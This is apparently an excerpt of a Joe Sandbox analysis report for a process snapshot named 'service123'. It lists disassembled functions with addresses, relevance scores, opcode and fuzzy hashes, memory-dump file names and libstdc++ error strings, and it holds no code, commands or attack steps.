Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::substr
API String ID: 0-3532027576
Opcode ID: 7248fd206fedace37cc415903619e1682d476b865573ab28d0a594d457f162db
Instruction ID: f58579a77c23796ce3282c4ed6646661c9eb8820880542fa1d891e9e63910568
Opcode Fuzzy Hash: 7248fd206fedace37cc415903619e1682d476b865573ab28d0a594d457f162db
Instruction Fuzzy Hash: D00156B1A082109FCB04DF28C48091AFBE5BBD9308F5089ADE088AB714D631E945CF97

Function 6C3127F0 Relevance: 2.5, Strings: 2, Instructions: 42COMMON

Download Yara Rule

Strings

basic_string::substr, xrefs: 6C312848
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C312850

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::substr
API String ID: 0-3532027576
Opcode ID: f0ce53ff059cc21bfbe8532144d6c11c9ca8b98f93c79845cfa1992cc2a7da8e
Instruction ID: 5092cc92e2f656864e4f8bb4b4a0f04bf4aa1a518532eb575687fdb0273e2cd1
Opcode Fuzzy Hash: f0ce53ff059cc21bfbe8532144d6c11c9ca8b98f93c79845cfa1992cc2a7da8e
Instruction Fuzzy Hash: AF0128B5A09300AFC708CF28D885A5EFBE0AFC9754F44996DE488D7714C234D8818F87

Function 6C332E93 Relevance: 2.2, APIs: 1, Instructions: 923COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ac656c55fc742fa55bd9a90b73fb003343f5d147da3897e82219c8aeaf6b760
Instruction ID: 8aa8ab6cb55e542ef189f2e34127bf1693dd4e77cc0875b42b030189e5d35633
Opcode Fuzzy Hash: 3ac656c55fc742fa55bd9a90b73fb003343f5d147da3897e82219c8aeaf6b760
Instruction Fuzzy Hash: 1B924A74E093A88FDB50CFA8C48478DBBF1AF09324F148659D8A9AB791C375AC46CF51

Function 6C333C50 Relevance: 2.2, APIs: 1, Instructions: 907COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0f98c7b7ae76aa785aed65494452e37c8eced7e9b50ad37789c6d9411052ef4
Instruction ID: 1824d7c1c81031542481d88a652bf09e02d40f09c7df19cfccf4ea8346fe07fd
Opcode Fuzzy Hash: d0f98c7b7ae76aa785aed65494452e37c8eced7e9b50ad37789c6d9411052ef4
Instruction Fuzzy Hash: 0D828D75E042A88FDB10CFA8C48078DBFF1AF49324F198659E869AB791D7369C46CF50

Function 6C3535D0 Relevance: 2.1, Strings: 1, Instructions: 874COMMON

Download Yara Rule

Strings

-, xrefs: 6C3541D6

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memset
String ID: -
API String ID: 2221118986-2547889144
Opcode ID: cb60e0e3e192a15de1af902ec9ec6ac109b2f780b095b721f6b9eea95cc6649a
Instruction ID: 580eef7f47c7ece0daf1a572278f59a1457fb5be7102c049b44bbbb8286c8c7f
Opcode Fuzzy Hash: cb60e0e3e192a15de1af902ec9ec6ac109b2f780b095b721f6b9eea95cc6649a
Instruction Fuzzy Hash: 4F829971A04219CFCB44DF68C084B9DBBF1BF05318F948558E895ABB90D336E9A6CF91

Function 6C352870 Relevance: 2.1, Strings: 1, Instructions: 873COMMON

Download Yara Rule

Strings

-, xrefs: 6C353476

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID: memset
String ID: -
API String ID: 2221118986-2547889144
Opcode ID: b871c3ef2c1a78cc5ec93b50f4c214b0cdb0d047d6197c63fdb49897a60560ed
Instruction ID: a10805c9e8215320ae6b40699f40835a9dcb8a536c3115c14c7286d7693621ee
Opcode Fuzzy Hash: b871c3ef2c1a78cc5ec93b50f4c214b0cdb0d047d6197c63fdb49897a60560ed
Instruction Fuzzy Hash: 5482AB70A042198FCB00DF68C188B9DBBF1BF05318F958558E895ABB91D336E966CF91

Function 6C332245 Relevance: 2.1, APIs: 1, Instructions: 816COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a38e2218c5960a4e1b15f2ca800bec05ed8e84ffe58c9a3582ac675615cbcc6
Instruction ID: 16b947cbccdd1097e9795bf3512cb7fb4782ade333be42fa669e1fbd1a3388da
Opcode Fuzzy Hash: 1a38e2218c5960a4e1b15f2ca800bec05ed8e84ffe58c9a3582ac675615cbcc6
Instruction Fuzzy Hash: F472B270A083E98FDB11CFA8C18878DBFF1AF45314F149659D4A9AB792C336A845CF91

Function 6C3BE230 Relevance: 2.0, APIs: 1, Instructions: 487COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac10dc4b292f7ccf37929547562f230b2f2e963166129cb1a6f0233dcbe1a0ab
Instruction ID: 040a5f3261612350e0bc0124da6b2929f0814b24d50316e5a5d7584bbf4e4c53
Opcode Fuzzy Hash: ac10dc4b292f7ccf37929547562f230b2f2e963166129cb1a6f0233dcbe1a0ab
Instruction Fuzzy Hash: 7C0285766083448FD310DF29C58078EBBE1AF99348F14496DE8D9ABB11E735E8498F93

Function 6C337AB0 Relevance: 1.9, APIs: 1, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa1df665b6e88bfb7ed4b1edbd165af21aff5d4cbc734aab75adae6859a65aeb
Instruction ID: 1147e8a1b2e3f689a36dec630d990d49cbf537355890c43c7c053c0b3cb371ff
Opcode Fuzzy Hash: aa1df665b6e88bfb7ed4b1edbd165af21aff5d4cbc734aab75adae6859a65aeb
Instruction Fuzzy Hash: F052B270A052E8DFDB00CFA8D58079DBFF1AF46328F18965AE4589B781C3769845CF92

Function 6C2F3D20 Relevance: 1.7, Strings: 1, Instructions: 410COMMON

Download Yara Rule

Strings

/, xrefs: 6C2F4300

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 69f04da376f66f381cc1c0f9b0610cb609de93147b288462145137937819f344
Instruction ID: d60f42e76a25a8532ac8b4a7862e635b2daae0358b5618b13dccb92c0ef03cf6
Opcode Fuzzy Hash: 69f04da376f66f381cc1c0f9b0610cb609de93147b288462145137937819f344
Instruction Fuzzy Hash: 22E1B47078520D4BEB008F39886475AF7D2BF45304F548879DDA58FB86D779C84B8B92

Function 6C3AA030 Relevance: 1.6, Strings: 1, Instructions: 392COMMON

Download Yara Rule

Strings

, xrefs: 6C3AA113

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: a40acae0da3281efad630b8f9e6447c48ce8b9a6aaa27cab8cf979869793594e
Instruction ID: 341cfae7868fad0627e468b85fa6b1ad07fb64665313be7eeb2f9f97d5d6b03b
Opcode Fuzzy Hash: a40acae0da3281efad630b8f9e6447c48ce8b9a6aaa27cab8cf979869793594e
Instruction Fuzzy Hash: 3FD14972B092409FD744EFAED5C054AFBF4EB89218F44592EE884C7701D771D85A8FA2

Function 6C323180 Relevance: 1.6, APIs: 1, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d33f3c48aa7f64e431b20a758958267ee195b86e5255cbd435d8e47f5ea8aab
Instruction ID: 1f72c6f7399a51f28de4cafcd7d59a489dd7430fbb269162120147e2dea6a8fc
Opcode Fuzzy Hash: 2d33f3c48aa7f64e431b20a758958267ee195b86e5255cbd435d8e47f5ea8aab
Instruction Fuzzy Hash: 46E17831E092588FCF51CFA9C480A9DBBF5BF49314F288259E865A7791D739AD01CFA0

Function 6C326830 Relevance: 1.6, APIs: 1, Instructions: 354COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9520a7775e9fb7063e698910bd8b49612c335d7720cc4c1f95222c746305e6f6
Instruction ID: 38fb25b062ae6a69c30e6c3a5689c383ce20e4f4be1b2e2f805f4e7fff2e8c1e
Opcode Fuzzy Hash: 9520a7775e9fb7063e698910bd8b49612c335d7720cc4c1f95222c746305e6f6
Instruction Fuzzy Hash: 95E11275A042698BCF10DFA9C480A9DBBF1FF49314F288659E855AB750D739AC82CF60

Function 6C34B850 Relevance: 1.6, APIs: 1, Instructions: 320COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6111960926f29445a920c309e58dabb4d198ce359901b3e9229fc72a9587b573
Instruction ID: 4ba4459f7bd33c6343a47ccdb8699b260e6241882433dda9437f1e4b6bcf4abe
Opcode Fuzzy Hash: 6111960926f29445a920c309e58dabb4d198ce359901b3e9229fc72a9587b573
Instruction Fuzzy Hash: D8D16B75A046598FCB00CF69C4C0A9DBBF1EF49328F288259E865AF790D736E946CF50

Function 6C3038B0 Relevance: 1.5, Strings: 1, Instructions: 233COMMON

Download Yara Rule

Strings

O, xrefs: 6C303BE6

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: O
API String ID: 0-878818188
Opcode ID: 676a791c66564e3aab990063b83211ffb83ab0a54183527e195b2a4ec59e0c57
Instruction ID: 841897f296e72d40b34d7b7c79a61d4fb914668bc46a0bf87db4758186357e8a
Opcode Fuzzy Hash: 676a791c66564e3aab990063b83211ffb83ab0a54183527e195b2a4ec59e0c57
Instruction Fuzzy Hash: 7891CF726087018BDB40DF29C48176BB7E0FF80348F49896DEC899B651E37AD948CF92

Function 6C36A5B0 Relevance: 1.4, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

uninitialized __any_string, xrefs: 6C36A697

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: uninitialized __any_string
API String ID: 0-3223116075
Opcode ID: 2205de5dccf584a142df696dcc37237ce79e45f6236065872723329f64635586
Instruction ID: 27e27145d1f906705563f0440374ae6d4dbc86b0bc0be0418d05085af1ca3806
Opcode Fuzzy Hash: 2205de5dccf584a142df696dcc37237ce79e45f6236065872723329f64635586
Instruction Fuzzy Hash: 65416575A043199FCB00DF69D48089EBBF4FF88218F10896EE8989B705C731E815CF92

Function 6C310C40 Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

__gnu_cxx::__concurrence_lock_error, xrefs: 6C310C80

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: __gnu_cxx::__concurrence_lock_error
API String ID: 0-1226115927
Opcode ID: 7cd426425cb6cd00ce1b3380200dc52885094758253a8b98fed532e8fe301a58
Instruction ID: c76259369e6fbb65eb80ff9f72a622bfc18f0df4f436f2b408ffc58b0d626705
Opcode Fuzzy Hash: 7cd426425cb6cd00ce1b3380200dc52885094758253a8b98fed532e8fe301a58
Instruction Fuzzy Hash: 18E01AB9F082018B8B0CEF38819542EFBB1AB85200F40592CD88247B44E630E558CF9A

Function 6C312340 Relevance: 1.3, Strings: 1, Instructions: 20COMMON

Download Yara Rule

Strings

basic_string::at: __n (which is %zu) >= this->size() (which is %zu), xrefs: 6C312360

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: basic_string::at: __n (which is %zu) >= this->size() (which is %zu)
API String ID: 0-3720052664
Opcode ID: eb9fd38fdac5bfb4846338a90eca595a594b4aee753fcf2d7e547b3fc1096a59
Instruction ID: b633c9bb7d0f6bc60b4dbae86711a44f78d76f9cb2c5d5a66c5c1c11853f4fb9
Opcode Fuzzy Hash: eb9fd38fdac5bfb4846338a90eca595a594b4aee753fcf2d7e547b3fc1096a59
Instruction Fuzzy Hash: 9CE0B6B5E496408FCB08EF18C585919F7F1AF96308F59D99CE1889BB20D631E950CE1B

Function 6C320B7C Relevance: 1.3, Strings: 1, Instructions: 14COMMON

Download Yara Rule

Strings

basic_string::_M_construct null not valid, xrefs: 6C320B80

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_M_construct null not valid
API String ID: 0-3522614731
Opcode ID: f4275079e722ebb80cee85b1562a27d68c4973280ef6dc1175480b941813b769
Instruction ID: b17f1cd88822c819067807d44ac9149742bf6935ac7aed6abc4f8d01dc6f42fe
Opcode Fuzzy Hash: f4275079e722ebb80cee85b1562a27d68c4973280ef6dc1175480b941813b769
Instruction Fuzzy Hash: B9D09279A042508FCB508F25C155828BBB0AB06208F156888D598BBE21C225E845CE06

Function 6C31C2DC Relevance: 1.3, Strings: 1, Instructions: 14COMMON

Download Yara Rule

Strings

basic_string::_M_construct null not valid, xrefs: 6C31C2E0

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903456051.000000006C40F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903469625.000000006C410000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903483575.000000006C413000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c2f0000_service123.jbxd

Similarity

API ID:
String ID: basic_string::_M_construct null not valid
API String ID: 0-3522614731
Opcode ID: bc491e56cda0246687024cc3a648dab9ab75fcf6c160065846448525705587f4
Instruction ID: 3d140356c1a5502b8df324ce1f2bb1696bb04475934493bfa9c9bc5f16ab8f41
Opcode Fuzzy Hash: bc491e56cda0246687024cc3a648dab9ab75fcf6c160065846448525705587f4
Instruction Fuzzy Hash: 75D0C97AA042108FCA00DF28C181828B7B0BB0A314B116998E589BBF21C331EC41CF06

Function 6C31BD2C Relevance: 1.3, Strings: 1, Instructions: 14COMMON

Download Yara Rule

Strings

basic_string::_M_construct null not valid, xrefs: 6C31BD30

Memory Dump Source

Source File: 00000004.00000002.2903320881.000000006C2F1000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000004.00000002.2903309171.000000006C2F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903381646.000000006C3C7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2903395013.000000006C3C9000.00000002.00000001.01000000.00000006.sdmpDownload File
